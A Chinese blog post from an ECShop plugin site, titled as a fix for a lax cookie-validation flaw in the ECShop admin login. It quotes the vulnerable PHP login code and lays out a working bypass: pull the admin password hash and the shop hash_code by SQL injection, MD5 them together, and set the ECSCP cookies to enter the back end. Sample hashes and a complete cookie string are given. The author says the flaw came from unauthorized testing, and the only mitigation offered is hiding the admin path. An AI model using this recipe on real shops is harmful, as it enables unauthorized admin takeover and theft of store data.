关于修复ecshop后台cookie验证不严漏洞
2016-09-11 20:38 来源:www.chinab4c.com 作者:ecshop专家
这个漏洞是我们在进行非授权安全评估时候发现的。是一个ecshop的站,通过以往的0day爆出了管理员密码,无奈解不开。。。于是就想,有没有可能将密文md5存入cookie中登陆。
当然,上面假想的问题是不存在的,但是我们发现确实有类似的漏洞存在。只需要注入读取数据库的管理员加密密文和hashcode就可以登陆后台了。
确实不知道该怎么定性这个漏洞,我们认为cookie验证不严这个名字不错。
大概过程就是,ecshop注入漏洞注入出来的管理员密码解不开,我们通过密文和数据库其他标段信息构造cookie可以成功登陆。我们来详细看这个漏洞:
漏洞发生的原因是cookie验证不严。我们先来看一下验证登陆的地方:
-
if(!empty($ec_salt))
-
{
-
/* 检查密码是否正确 */
-
$sql = "SELECT user_id, user_name, password, last_login, action_list, last_login,suppliers_id,ec_salt".
-
" FROM " . $ecs->table('admin_user') .
-
" WHERE user_name = '" . $_POST['username']. "' AND password = '" . md5(md5($_POST['password']).$ec_salt) . "'";
-
}
-
else
-
{
-
/* 检查密码是否正确 */
-
$sql = "SELECT user_id, user_name, password, last_login, action_list, last_login,suppliers_id,ec_salt".
-
" FROM " . $ecs->table('admin_user') .
-
" WHERE user_name = '" . $_POST['username']. "' AND password = '" . md5($_POST['password']) . "'";
- }
-
setcookie('ECSCP[admin_id]', $row['user_id'], $time);
- setcookie('ECSCP[admin_pass]', md5($row['password'] . $_CFG['hash_code']), $time);
- $hash_code = $db->getOne("SELECT value FROM " . $ecs->table('shop_config') . " WHERE code='hash_code'");
-
SELECT value FROM ecs_shop_config WHERE code='hash_code'
08f2b116f18517707ba870ef19af706f + 31693422540744c0a6b6da635b7a5a93
将上述信息md5之,得到:78F528C52BB214FFA5E489E7A1DCCE93
登陆成功~
1、通过注入得到管理员的用户名及32位密码,想进入后台,但是32位的密码破解不出来,08f2b116f18517707ba870ef19af706f
2、利用注入从ecs_shop_config得到hashcode: 31693422540744c0a6b6da635b7a5a93
3、把管理员hash和hashcode连接到一直再进行md5加密也就是md5(08f2b116f18517707ba870ef19af706f31693422540744c0a6b6da635b7a5a93)得到的md5值为78F528C52BB214FFA5E489E7A1DCCE93
4、修改你的本地cookie:ECSCP[admin_id]=1; ECSCP[admin_pass]=78F528C52BB214FFA5E489E7A1DCCE93;ECSCP_ID=b5a19c09952c8d1b09a97a89f48df8d1575f1dd1 即可进入后台。
修补方法,隐藏后台。
最近更新
常用插件
- ecshop2.7.1邮件发送插件
ecshop2.7.1邮件发送插件:该插件主要的开发思想是源于ecshop短信发送系统...
- ecshop2.7.2生成虚拟订单2.
以前我们开发过ecshop下的虚拟订单,就是客户在访问的时候,会自动生...
- ecshop二次开发商品购买增
图片1香...
- ecshop最小购买数量控制插
ecshop最小购买数量控制插件,这个插件主要是为我们提供一个十分方便...
- ecshop没登陆情况下订单查
ecshop没登陆情况下订单查询插件,主要是针对ecshop在没有登陆的情况下...